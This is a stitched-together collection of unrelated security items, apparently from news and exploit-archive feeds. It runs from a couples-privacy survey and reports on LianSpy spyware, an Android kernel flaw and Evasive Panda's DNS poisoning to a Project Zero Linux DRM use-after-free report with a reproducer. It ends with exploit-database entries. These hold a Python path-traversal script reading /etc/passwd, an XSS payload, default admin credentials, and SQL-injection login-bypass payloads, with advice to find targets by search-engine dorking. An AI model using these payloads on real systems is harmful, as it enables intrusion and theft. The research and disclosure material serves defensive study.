Men face more pressure—and threats—from significant others to grant access to their personal devices, online accounts, and locations.

Men report facing more pressure than women—and more threats of retaliation—to grant access to their locations and online accounts when in a committed relationship, according to a new analysis of data released this summer by Malwarebytes.

The same analysis also revealed that, while men report more regret in sharing their locations, women report less awareness in how their locations can be accessed, particularly through food delivery apps, ride-hailing services, vacation rental platforms, and other location-based tools.

The data from Malwarebytes paints a nuanced portrait of the struggles that men and women face when deciding how much of their digital lives to share with spouses, boyfriends, girlfriends, and partners. Often, the struggles intersect with parts of modern dating that people have little control over, including how companies track, collect, and share their data, and how easy it is for other people to access that data.

In looking more closely at the research released earlier this year in the report, “What’s mine is yours: How couples share an all-access pass to their digital lives,” Malwarebytes hopes to once again spread awareness and education about secure dating practices in the internet age.

Access our full “Modern Love in the Digital Age” guidance hub below.

Men are going through a loneliness epidemic in America right now.

But even for men in romantic relationships, where companionship should be a salve, other problems emerge. In particular, as Malwarebytes found, these problems include disparate feelings of pressure and regret in sharing their devices, account passwords, and locations.

For example, of partners who shared their location with one another, 36% of men said they’d “felt pressure” to do so, compared with 20% of women who said the same. And a shocking 9% of men who share their account access clarified that such access may be imbalanced, as they agreed: “My partner has threatened me over sharing account access,” compared to 4% of women—a more than two-fold increase. The threats included things like being broken up with, being harmed physically or emotionally, or being shut out and ignored.  

Men were also more likely to report a one-sided consent model for how their partners accessed their devices, accounts, and locations (a model that we’re not entirely ready to call “sharing” because of the clearly communicated lack of consent).

When asked about the way in which they “shared” _any_ type of digital and device access, which included smartphones, tablets, computers, online accounts for multiple apps, and location data, 23% of men said “Yes \[my partner\] has access but I wish they didn’t.” That rate was 12% for women.

Similar disparities arose when men and women answered the same way regarding device access (14% of men compared to 7% of women), social media access (9% of men compared to 4% of women), and access to apps that can share your location (16% of men compared to 9% of women).

But not all location apps are the same, and when asked specifically about apps that are designed to share locations between individuals—such as FindMy on iOS, Find My Device for Google, or third-party tools like Life360—the data revealed the largest discrepancy.

A shocking 400% more men said they only share their locations through those apps “because my partner insists” (8% of men compared with 2% of women).

In the research, men openly shared their feelings on all this, as 14% (compared to 8% of women) agreed: “If I could do it all over again, I wouldn’t share as much personal account information with my partner.”  

In safe and consensual arrangements between couples, a shared location can show up as a little blue dot on a devoted smartphone app.

But for apps that rely on location data to function—like ride-hailing apps, food delivery services, and vacation rental platforms—location “sharing” can feel a lot more like location “leaking.” A shared Airbnb account, for example, could reveal a spouse’s active vacation rental address to another partner logged into the same account. A shared Uber account could reveal ride history, and potentially even a new address, to an ex-boyfriend who never logged out after a breakup. And DoorDash orders could expose when a domestic abuse survivor is at home, so long as their abuser is monitoring the app from the same account.

But these examples, research shows, are not common knowledge, with women showing less awareness than men for every type of account.

Women were less likely to be aware of how their locations could be exposed to another user logged into the same account for vacation rental platforms (68% of women were unaware compared to 49% of men), health and fitness tracking apps like FitBit and Strava (57% of women compared to 43% of men), ride-hailing apps (50% of women compared to 37% of men), and food and grocery delivery apps (49% of women compared to 39% of men).

Women were also more likely to say they were unaware of how the companion apps for many modern vehicles—which can be used to find a car in a large parking lot or to help locate a stolen sedan—can also reveal their location on a shared account (60% of women compared to 41% of men).

This relatively new location-tracking method has caused serious problems for spouses being followed by their exes, and the blame cannot fall on users who are tasked with, as usual, managing even more parts of their lives online.

****Shifting perspectives****

Data alone never presents a full story, and data that compares men and women can be vulnerable to misinterpretation.

The varying issues facing men and women should not be interpreted as problems of their own making—men cannot be said to regret sharing account access because they have “something to hide,” and women cannot be said to be poorer users of technology because of lower reported awareness in location sharing mechanisms.

If anything, the overlap in responses shows the work to be done.

When 68% of women _and_ 49% of men are unaware of how their locations can be accessed through shared accounts on vacation rental platforms, perhaps this isn’t a problem of user awareness. Perhaps it is a problem of unclear communication and lacking transparency from the largest and most popular apps today.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Men report more pressure and threats to share location and accounts with partners, research shows 

Users in Russia have been the target of a previously undocumented Android post-compromise spyware called LianSpy since at least 2021.
Cybersecurity vendor Kaspersky, which discovered the malware in March 2024, noted its use of Yandex Cloud, a Russian cloud service, for command-and-control (C2) communications as a way to avoid having a dedicated infrastructure and evade detection.
"This threat is

Users in Russia have been the target of a previously undocumented Android post-compromise spyware called **LianSpy** since at least 2021.

Cybersecurity vendor Kaspersky, which discovered the malware in March 2024, noted its use of Yandex Cloud, a Russian cloud service, for command-and-control (C2) communications as a way to avoid having a dedicated infrastructure and evade detection.

"This threat is equipped to capture screencasts, exfiltrate user files, and harvest call logs and app lists," security researcher Dmitry Kalinin said in a new technical report published Monday.

It's currently not clear how the spyware is distributed, but the Russian cybersecurity vendor is likely deployed through either an unknown security flaw or direct physical access to the target phone. The malware-laced apps are disguised as Alipay or an Android system service.

LianSpy, once activated, determines if it's running as a system app to operate in the background using administrator privileges, or else requests a wide range of permissions that allow it to access contacts, call logs, and notifications, and draw overlays atop the screen.

It also checks if it's executing in a debugging environment to set up a configuration that persists across reboots, followed by hiding its icon from the launcher and trigger activities such as taking screenshots, exfiltrating data, and updating its configuration to specify what kinds of information needs to be captured.

In some variants, this has been found to include options to gather data from instant messaging apps popular in Russia as well as allow or prohibit running the malware only if it's either connected to Wi-Fi or a mobile network, among others.

"To update the spyware configuration, LianSpy searches for a file matching the regular expression "^frame\_.+\\\\.png$" on a threat actor's Yandex Disk every 30 seconds," Kalinin said. "If found, the file is downloaded to the application's internal data directory."

The harvested data is stored in encrypted form in an SQL database table, specifying the type of record and its SHA-256 hash, such that only a threat actor in possession of the corresponding private RSA key can decrypt the stolen information.

Where LianSpy showcases its stealth is in its ability to bypass the privacy indicators feature introduced by Google in Android 12, which requires apps requesting for microphone and camera permissions display a status bar icon.

"LianSpy developers have managed to bypass this protection by appending a cast value to the Android secure setting parameter icon\_blacklist, which prevents notification icons from appearing in the status bar," Kalinin pointed out.

"LianSpy hides notifications from background services it calls by leveraging the NotificationListenerService that processes status bar notifications and is able to suppress them."

Another sophisticated aspect of the malware entails the use of the su binary with a modified name "mu" to gain root access, raising the possibility that it's likely delivered through a previously unknown exploit or physical device access.

LianSpy's emphasis on flying under the radar is also evidenced in the fact that C2 communications are unidirectional, with the malware not receiving any incoming commands. The Yandex Disk service is used for transmitting stolen data and storing configuration commands.

Credentials for Yandex Disk are updated from a hard-coded Pastebin URL, which varies across malware variants. The use of legitimate services adds a layer of obfuscation, effectively clouding attribution.

LianSpy is the latest addition to a growing list of spyware tools, which are often delivered to target mobile devices – be it Android or iOS – by leveraging zero-day flaws.

"Beyond standard espionage tactics like harvesting call logs and app lists, it leverages root privileges for covert screen recording and evasion," Kalinin said. "Its reliance on a renamed su binary strongly suggests secondary infection following an initial compromise."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

New Android Spyware LianSpy Evades Detection Using Yandex Cloud

Google has addressed a high-severity security flaw impacting the Android kernel that it has been actively exploited in the wild.
The vulnerability, tracked as CVE-2024-36971, has been described as a case of remote code execution impacting the kernel.
"There are indications that CVE-2024-36971 may be under limited, targeted exploitation," the tech giant noted in its monthly Android security

Mobile Security / Vulnerability

Google has addressed a high-severity security flaw impacting the Android kernel that it has been actively exploited in the wild.

The vulnerability, tracked as CVE-2024-36971, has been described as a case of remote code execution impacting the kernel.

"There are indications that CVE-2024-36971 may be under limited, targeted exploitation," the tech giant noted in its monthly Android security bulletin for August 2024.

As is typically the case, the company did not share any additional specifics on the nature of the cyber-attacks exploiting the flaw or attribute the activity to a particular threat actor or group. It's currently not known if Pixel devices are also impacted by the bug.

That said, Clement Lecigne of Google's Threat Analysis Group (TAG) has been credited with reporting the flaw, suggesting that it's likely being exploited by commercial spyware vendors to infiltrate Android devices in narrowly targeted attacks.

The August patch addresses a total of 47 flaws, including those identified in components associated with Arm, Imagination Technologies, MediaTek, and Qualcomm.

Also resolved by Google are 12 privilege escalation flaws, one information disclosure bug, and one denial-of-service (DoS) flaw impacting the Android Framework.

In June 2024, the search company revealed that an elevation of privilege issue in Pixel Firmware (CVE-2024-32896) has been exploited as part of limited and targeted attacks.

Google subsequently told The Hacker News that the issue's impact goes beyond Pixel devices to include the broader Android platform and that it's working with OEM partners to apply the fixes where applicable.

Previously, the company also closed out two security flaws in the bootloader and firmware components (CVE-2024-29745 and CVE-2024-29748) that were weaponized by forensic companies to steal sensitive data.

The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2018-0824, a remote code execution flaw impacting Microsoft COM for Windows to its Known Exploited Vulnerabilities (KEV) catalog, requiring federal agencies to apply fixes by August 26, 2024.

The addition follows a report from Cisco Talos that the flaw was weaponized by a Chinese nation-state threat actor named APT41 in a cyber attack aimed at an unnamed Taiwanese government-affiliated research institute to achieve local privilege escalation.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Google Patches New Android Kernel Vulnerability Exploited in the Wild

The APT used DNS poisoning to install the Macma backdoor on targeted networks and then deliver malware to steal data via post-exploitation activity.

Source: Pawel Opaska via Alamy Stock Photo

Researchers have found that a China-linked advanced persistent threat (APT) group compromised an Internet service provider (ISP) to exploit software vendor update mechanisms using DNS poisoning. The attacks delivered new variants of the Macma backdoor, as well as post-exploitation malware to exfiltrate sensitive data from compromised networks.

Researchers at Volexity discovered the attack by Evasive Panda, a threat group they track as StormBamboo and that also goes by DaggerFly, when they detected multiple systems becoming infected with malware in mid-2023, they revealed in a recent blog post. The researchers eventually tracked the attacks to the highly active Chinese APT, which they found altering DNS query responses for specific domains tied to automatic software update channels for software vendors, they said.

"StormBamboo appeared to target software that used insecure update mechanisms, such as HTTP, and did not properly validate digital signatures of installers," Volexity researchers Ankur Saini, Paul Rascagneres, Steven Adair, and Thomas Lancaster wrote in the post. "Therefore, when these applications went to retrieve their updates, instead of installing the intended update, they would install malware, including but not limited to Macma and Pocostick (aka MGBot)."

Macma is a backdoor that's often used by Evasive Panda and was first detailed by Google TAG in 2021, though it was used for a number of years before discovery. The latest variant demonstrates the group converging development of both Macma and Gimmick MacOS malware, according to Volexity. The researchers also detected post-exploitation activity to deploy the malicious browser extension Reloadext to exfiltrate victim mail data, they said.

**Poisoning DNS Requests**

Volexity outlined one of several incidents that researchers investigated in which Evasive Panda used DNS poisoning to deliver malware via an HTTP automatic update mechanism. The attack poisoned responses for legitimate hostnames that were then used as second-stage command-and-control (C2) servers, the researchers said.

DNS poisoning is a type of DNS abuse in which an attacker poisons DNS records to reroute network communications to a server under their control to steal and manipulate information transmitted to users. In this case, the APT used the poisoned DNS records to resolve to an attacker-controlled server in Hong Kong at IP address 103.96.130.107, which was at the ISP level of the targeted organization.

The logic behind the abuse of automatic updates is the same for all the applications targeted, the researchers noted. The legitimate application performs an HTTP request to retrieve a text-based file containing the latest application version and a link to the installer.

"Since the attacker has control of the DNS responses for any given DNS name, they abuse this design, redirecting the HTTP request to a C2 server they control hosting a forged text file and a malicious installer," the researchers wrote.

In the attacks, the APT targeted multiple software vendors with "insecure update workflows" that use varying levels of complexity in their steps for pushing malware. For example, one of the vendors, 5Kplayer, uses a workflow, the binary of which automatically checks if a new version of YoutubeDL is available for each time the application is started.

If a new version is available, the process downloads it from the specified URL, and then the legitimate app executes it. In its attack, Evasive Panda used DNS poisoning to host a modified config file indicating a new update was available, which resulted in the YoutubeDL software downloading an upgrade package from the APT's server that had already been backdoored with malicious code.

**Beware: "Highly Skilled" APT at Work**

Volexity notified and worked with the ISP whose network was being used for DNS poisoning. The ISP investigated and took various network components offline, which stopped the malicious activity, the researchers said.

"During this time, it was not possible to pinpoint a specific device that was compromised, but various components of the infrastructure were updated or left offline and the activity ceased," they wrote.

The attacks are not the first time Evasive Panda, which often targets organizations across Asia that are interested in the Chinese state, has leveraged legit software update channels for nefarious purposes.

In April of last year, researchers from ESET discovered cyberespionage attacks in which the group targeted individuals in China and Nigeria by hijacking update channels for software developed by Chinese companies to deliver the MGBot malware to steal credentials and data.

Indeed, the group is "a highly skilled and aggressive threat actor" that often "compromises third parties to breach intended targets," the researchers warned.

"The variety of malware employed in various campaigns by this threat actor indicates significant effort is invested, with actively supported payloads for not only macOS and Windows, but also network appliances," they wrote.

The attacks also are related to previous research by ESET concerning the infection vector for the Pocostick malware that also used DNS poisoning to abuse automatic updates, as well as one used by a related APT DriftingBamboo following zero-day exploitation of Sophos firewalls, the researchers noted.

Volexity included a link to various rules and indicators of compromise (IOCs) in its post to help organizations detect if they have been affected by the malicious activity.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

China's Evasive Panda Attacks ISP to Send Malicious Software Updates

Linux DRM has drm_file_update_pid() call to get_pid() too late, which creates a race condition that can lead to use-after-free issue of a struct pid.

Linux: DRM: refcount incremented too late in drm_file_update_pid()

[I am sending this to security@ and to the drm-misc maintainers - based on https://drm.pages.freedesktop.org/maintainer-tools/committer-drm-misc.html#merge-criteria I think this falls into drm-misc's area of responsibility?]

=== summary ===  
drm_file_update_pid() calls get_pid() too late, which creates a race  
condition that can lead to use-after-free of a `struct pid`.

I will send a suggested patch off-list in a minute; let me know if you want me to resend it on the dri-devel list in case that works better for you.

=== verbose bug report ===  
drm_file_update_pid() contains the following code:

```  
  struct drm_device *dev;  
  struct pid *pid, *old;

  /*  
   * Master nodes need to keep the original ownership in order for  
   * drm_master_check_perm to keep working correctly. (See comment in  
   * drm_auth.c.)  
   */  
  if (filp->was_master)  
          return;

  pid = task_tgid(current);

  [...]

  dev = filp->minor->dev;  
  mutex_lock(&dev->filelist_mutex);  
  old = rcu_replace_pointer(filp->pid, pid, 1);  
  mutex_unlock(&dev->filelist_mutex);

  if (pid != old) {  
          get_pid(pid);  
          synchronize_rcu();  
          put_pid(old);  
  }  
```

filp->pid is a refcounted pointer which can only be modified under  
dev->filelist_mutex.  
After calling rcu_replace_pointer(), we have a refcount debt of 1, which is  
still fine because we're holding the mutex that prevents other tasks from  
taking ownership of the reference stored in filp->pid; but by the time we drop  
this mutex, we must have called get_pid() to make up for this refcount debt,  
and that isn't done.

So a use-after-free can occur in the following scenario, assuming filp->pid  
initially points to the pid of process A and process B's initial pid refcount  
is 1:

process A               process B  
=========               =========  
                        begin drm_file_update_pid  
                        mutex_lock(&dev->filelist_mutex)  
                        rcu_replace_pointer(filp->pid, <pid B>, 1)  
                        mutex_unlock(&dev->filelist_mutex)  
begin drm_file_update_pid  
mutex_lock(&dev->filelist_mutex)  
rcu_replace_pointer(filp->pid, <pid A>, 1)  
mutex_unlock(&dev->filelist_mutex)  
get_pid(<pid A>)  
synchronize_rcu()  
put_pid(<pid B>)   *** pid B reaches refcount 0 and is freed here ***  
                        get_pid(<pid B>)   *** UAF ***  
                        synchronize_rcu()  
                        put_pid(<pid A>)

Note that this race can only occur if RCU is configured so that  
running in preemptible task context can count as an RCU quiescent state.  
My testcase assumes that the kernel is configured for full preemption (meaning  
either CONFIG_PREEMPT=y or CONFIG_PREEMPT_DYNAMIC=y with full preemption  
selected at boot time); however, I think in theory the bug can probably be  
hit as long as CONFIG_PREEMPT_RCU=y is enabled (which is the case on kernel  
builds with dynamic preemption), since I think on such builds, expedited grace  
periods can still detect RCU quiescent states with IPIs.

My reproducer also requires that you patch the following code into the kernel  
to slow down execution and make the bug easy to trigger:

```  
diff --git a/drivers/gpu/drm/drm_file.c b/drivers/gpu/drm/drm_file.c  
index 638ffa4444f5..03e7711e9744 100644  
--- a/drivers/gpu/drm/drm_file.c  
+++ b/drivers/gpu/drm/drm_file.c  
@@ -38,6 +38,7 @@  
 #include <linux/pci.h>  
 #include <linux/poll.h>  
 #include <linux/slab.h>  
+#include <linux/delay.h>

 #include <drm/drm_client.h>  
 #include <drm/drm_drv.h>  
@@ -472,6 +473,12 @@ void drm_file_update_pid(struct drm_file *filp)  
        old = rcu_replace_pointer(filp->pid, pid, 1);  
        mutex_unlock(&dev->filelist_mutex);

+       if (strcmp(current->comm, \"SLOWME\") == 0) {  
+               pr_warn(\"%s: BEGIN DELAY\  
\", __func__);  
+               mdelay(1000);  
+               pr_warn(\"%s: END DELAY\  
\", __func__);  
+       }  
+  
        if (pid != old) {  
                get_pid(pid);  
                synchronize_rcu();  
```

The reproducer code:  
```  
#include <unistd.h>  
#include <stdio.h>  
#include <err.h>  
#include <fcntl.h>  
#include <stdlib.h>  
#include <sys/signal.h>  
#include <sys/ioctl.h>  
#include <sys/prctl.h>  
#include <sys/wait.h>  
#include <drm/drm.h>

#define SYSCHK(x) ({          \\  
  typeof(x) __res = (x);      \\  
  if (__res == (typeof(x))-1) \\  
    err(1, \"SYSCHK(\" #x \")\"); \\  
  __res;                      \\  
})

static void main_test_code() {  
  struct drm_version dummy_version;

  int drm_fd = SYSCHK(open(\"/dev/dri/renderD128\", O_RDONLY));  
  int child = SYSCHK(fork());

  if (child == 0) {  
    /* child process */  
    prctl(PR_SET_NAME, \"SLOWME\");  
    ioctl(drm_fd, DRM_IOCTL_VERSION, &dummy_version); // delay injected here  
  } else {  
    /* parent process */  
    usleep(200*1000);  
    ioctl(drm_fd, DRM_IOCTL_VERSION, &dummy_version);  
  }

  if (child == 0) {  
    /* child process */  
    exit(0);  
  } else {  
    /* parent process */  
    int status = 0;  
    pid_t child = wait(&status);  
    printf(\"wait() returned %d, status %d\  
\", child, status);  
    exit(0);  
  }  
}

int main(void) {  
  // run in a child process to avoid extra references from job control or such  
  int child = SYSCHK(fork());  
  if (child == 0) {  
    prctl(PR_SET_PDEATHSIG, SIGKILL);  
    main_test_code();  
  } else {  
    int status = 0;  
    pid_t child = wait(&status);  
    printf(\"wait() returned %d, status %d\  
\", child, status);  
  }  
}  
```

The resulting KASAN splat (tested on mainline plus the race widener patch  
above, with CONFIG_PREEMPT=y and CONFIG_KASAN=y):  
```  
 ==================================================================  
 BUG: KASAN: slab-use-after-free in drm_file_update_pid (./arch/x86/include/asm/atomic.h:93 (discriminator 4) ./include/linux/atomic/atomic-arch-fallback.h:749 (discriminator 4) ./include/linux/atomic/atomic-instrumented.h:253 (discriminator 4) ./include/linux/refcount.h:184 (discriminator 4) ./include/linux/refcount.h:241 (discriminator 4) ./include/linux/refcount.h:258 (discriminator 4) ./include/linux/pid.h:84 (discriminator 4) ./include/linux/pid.h:81 (discriminator 4) drivers/gpu/drm/drm_file.c:483 (discriminator 4))  
 Write of size 4 at addr ffff88811f2f68c0 by task SLOWME/1092

 CPU: 3 PID: 1092 Comm: SLOWME Not tainted 6.10.0-rc5-00035-gafcd48134c58-dirty #384  
 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014  
 Call Trace:  
  <TASK>  
 dump_stack_lvl (lib/dump_stack.c:117)  
 print_report (mm/kasan/report.c:378 mm/kasan/report.c:488)  
 kasan_report (mm/kasan/report.c:603)  
 kasan_check_range (mm/kasan/generic.c:175 (discriminator 1) mm/kasan/generic.c:189 (discriminator 1))  
 drm_file_update_pid (./arch/x86/include/asm/atomic.h:93 (discriminator 4) ./include/linux/atomic/atomic-arch-fallback.h:749 (discriminator 4) ./include/linux/atomic/atomic-instrumented.h:253 (discriminator 4) ./include/linux/refcount.h:184 (discriminator 4) ./include/linux/refcount.h:241 (discriminator 4) ./include/linux/refcount.h:258 (discriminator 4) ./include/linux/pid.h:84 (discriminator 4) ./include/linux/pid.h:81 (discriminator 4) drivers/gpu/drm/drm_file.c:483 (discriminator 4))  
 drm_ioctl_kernel (./include/drm/drm_drv.h:510 drivers/gpu/drm/drm_ioctl.c:737)  
 drm_ioctl (drivers/gpu/drm/drm_ioctl.c:842)  
 __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:912 fs/ioctl.c:898 fs/ioctl.c:898)  
 do_syscall_64 (arch/x86/entry/common.c:52 (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1))  
 entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)  
[...]  
  </TASK>

 Allocated by task 1091:  
 kasan_save_stack (mm/kasan/common.c:48)  
 kasan_save_track (./arch/x86/include/asm/current.h:49 (discriminator 1) mm/kasan/common.c:60 (discriminator 1) mm/kasan/common.c:69 (discriminator 1))  
 __kasan_slab_alloc (mm/kasan/common.c:312 mm/kasan/common.c:338)  
 kmem_cache_alloc_noprof (./include/linux/kasan.h:201 mm/slub.c:3940 mm/slub.c:4002 mm/slub.c:4009)  
 alloc_pid (kernel/pid.c:187)  
 copy_process (kernel/fork.c:2406)  
 kernel_clone (./include/linux/random.h:26 kernel/fork.c:2798)  
 __do_sys_clone (kernel/fork.c:2929)  
 do_syscall_64 (arch/x86/entry/common.c:52 (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1))  
 entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)

 Freed by task 1091:  
 kasan_save_stack (mm/kasan/common.c:48)  
 kasan_save_track (./arch/x86/include/asm/current.h:49 (discriminator 1) mm/kasan/common.c:60 (discriminator 1) mm/kasan/common.c:69 (discriminator 1))  
 kasan_save_free_info (mm/kasan/generic.c:582 (discriminator 1))  
 poison_slab_object (mm/kasan/common.c:242)  
 __kasan_slab_free (mm/kasan/common.c:256 (discriminator 1))  
 kmem_cache_free (mm/slub.c:4438 (discriminator 3) mm/slub.c:4513 (discriminator 3))  
 put_pid.part.0 (kernel/pid.c:122)  
 drm_ioctl_kernel (./include/drm/drm_drv.h:510 drivers/gpu/drm/drm_ioctl.c:737)  
 drm_ioctl (drivers/gpu/drm/drm_ioctl.c:842)  
 __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:912 fs/ioctl.c:898 fs/ioctl.c:898)  
 do_syscall_64 (arch/x86/entry/common.c:52 (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1))  
 entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)

 The buggy address belongs to the object at ffff88811f2f68c0  
  which belongs to the cache pid of size 240  
 The buggy address is located 0 bytes inside of  
  freed 240-byte region [ffff88811f2f68c0, ffff88811f2f69b0)

 The buggy address belongs to the physical page:  
 page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11f2f6  
 head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0  
 flags: 0x200000000000040(head|node=0|zone=2)  
 page_type: 0xffffefff(slab)  
 raw: 0200000000000040 ffff888106686a00 dead000000000122 0000000000000000  
 raw: 0000000000000000 0000000080190019 00000001ffffefff 0000000000000000  
 head: 0200000000000040 ffff888106686a00 dead000000000122 0000000000000000  
 head: 0000000000000000 0000000080190019 00000001ffffefff 0000000000000000  
 head: 0200000000000001 ffffea00047cbd81 ffffffffffffffff 0000000000000000  
 head: 0000000000000002 0000000000000000 00000000ffffffff 0000000000000000  
 page dumped because: kasan: bad access detected

 Memory state around the buggy address:  
  ffff88811f2f6780: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  
  ffff88811f2f6800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fc fc  
 >ffff88811f2f6880: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb  
                                            ^  
  ffff88811f2f6900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb  
  ffff88811f2f6980: fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc  
 ==================================================================  
```

=== disclosure deadline ===  
This bug is subject to a 90-day disclosure deadline. If a fix for this  
issue is made available to users before the end of the 90-day deadline,  
this bug report will become public 30 days after the fix was made  
available. Otherwise, this bug report will become public at the deadline.  
The scheduled deadline is 2024-09-25.

For more details, see the Project Zero vulnerability disclosure policy:  
https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-  
policy.html

Related CVE Numbers: CVE-2024-39486.

Found by: jannh@google.com

Linux DRM drm_file_update_pid() Race Condition / Use-After-Free

Devika version 1 suffers from a path traversal vulnerability.

    # Exploit Title: Devika v1 - Path Traversal via 'snapshot_path' Parameter# Google Dork: N/A# Date: 2024-06-29# Exploit Author: Alperen Ergel# Contact: @alpernae (IG/X)# Vendor Homepage: https://devikaai.co/# Software Link: https://github.com/stitionai/devika# Version: v1# Tested on: Windows 11 Home Edition# CVE: CVE-2024-40422#!/usr/bin/pythonimport argparseimport requestsdef exploit(target_url):    url = f'http://{target_url}/api/get-browser-snapshot'    params = {        'snapshot_path': '../../../../etc/passwd'    }    response = requests.get(url, params=params)    print(response.text)if __name__ == "__main__":    parser = argparse.ArgumentParser(description='Exploit directory traversal vulnerability.')    parser.add_argument('-t', '--target', help='Target URL (e.g., target.com)', required=True)    args = parser.parse_args()    exploit(args.target)

Devika 1 Path Traversal

e107 version 2.3.3 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : e107 v2.3.3 XSS Vulnerability                                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://unlimited.dl.sourceforge.net/project/e107/e107/e107%20v2.3.3/e107_2.3.3_full.zip?viasf=1                            |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /image.php?mode=main&action=dialog&for=_commonh5it1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281986%2529%253edezaw&tagid=media-cat-image&iframe=1&w=206&image=1[+] LOgin : http://127.0.0.1/233/e107_admin/[+] http://127.0.0.1/233/e107_admin/image.php?mode=main&action=dialog&for=_commonh5it1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281986%2529%253edezaw&tagid=media-cat-image&iframe=1&w=206&image=1Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

e107 2.3.3 Cross Site Scripting

Codeprojects E-Commerce version 1.0 suffers from an ignored default credential vulnerability.

    =============================================================================================================================================| # Title     : Codeprojects E-Commerce v1.0 Insecure Settings Vulnerability                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://code-projects.org/?s=Ecommerce                                                                                      |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin@admin.com & pass = password[+] https://www/127.0.0.1/demo/comdeptcmru.acth/59143214/admin/products.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Codeprojects E-Commerce 1.0 Insecure Settings

Blog Site version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : Blog Site 1.0 Auth By Pass Vulnerability                                                                                    || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/blog-site-using-php_0.zip                             |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user & pass = ' or 0=0 ##[+] Panel : http://127.0.0.1//blog/admin/index.php?page=manage_postGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Blog Site 1.0 SQL Injection

Best Courier Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : Best Courier Management System v1.0 Auth By Pass Vulnerability                                                              || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.mayurik.com/source-code/P0998/best-courier-management-system-project-in-php                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user : 'or''='@gmail.com & pass = 'or''='[+] Panel : http://127.0.0.1/gaatitrack/login.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Tag

#google